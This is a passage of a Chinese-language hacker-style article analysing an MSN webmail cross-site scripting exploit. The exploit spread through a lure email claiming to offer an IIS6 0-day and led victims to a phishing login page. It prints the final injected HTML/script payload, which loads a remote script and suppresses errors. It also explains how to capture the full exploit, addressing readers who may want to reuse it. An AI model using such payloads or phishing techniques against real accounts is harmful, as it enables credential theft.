最终成型后的shellcode代码,会在浏览器中打开页面中html代码如下:
<a style="display:none">;top:</a>
<script id=nop>function ok(){return true};window.onerror=ok</script>
<script src=http://localhost/1.js></script>
<script id=nop>function ok(){return true};window.onerror=ok</script>
<script src=http://localhost/1.js></script>
看看最终的成果,你会发现这些代码的每一个字符都在exp里以某种形式出现过,最终绕过层层防御,组合在一起。读者可以在脑海里构造这么一个画面,在一个恐怖的黑色实验室里,某牛趴在一台电脑面前,不断变换着字符对自己的msn发信,从最基本的<script>标签开始,到不小心发现DIV的名字会被msn的过滤器换成另一个,笔者最佩服这种研究精神。我们的小菜,在自己不小心上当后,该怎么抓到这段EXP然后利用呢?现在重现一下小菜中招的那一刻:
某小菜正在利用上班时间,打开MSN泡MM,突然朋友发来一封邮件“新鲜的IIS6 0DAY”,小菜满怀激动打开邮件,没想到居然提示登录,于是登录,再次打开邮件,又提示登录……如此反复。终于明白这不是IIS6的0DAY,而是MSN跨站。
如果我猜得不错,大多数爱学习而又心怀鬼胎的小菜会打开信件后,会首先看那个MSN登录页面的源代码,误以为这个就是最终exp。发现不是exp后,又打开邮件后立刻按ESC停止浏览器执行,在出现的空白页面里看源代码,却只发现那段成型后的shellcode代码。这当然是误区!
那么整段EXP究竟该怎么抓呢?为什么两次抓的都不对?
作者推测,仅仅从邮箱中打开邮件查看,一直到查看到信件最后中标为止,整段EXP应该没有出现过,只有成型的shellcode出现了!!!很诡异啊,呵呵,开个玩笑,它当然出现了,如果整个过程中都在抓包,会出现在打开信件之后,但是瞬间出现后,页面就被shellcode替换掉了,而shellcode又调出了msn登录的钓鱼页面。其实除了抓包,还有更简单的方法。MSN新版,提供了查看信件源代码功能。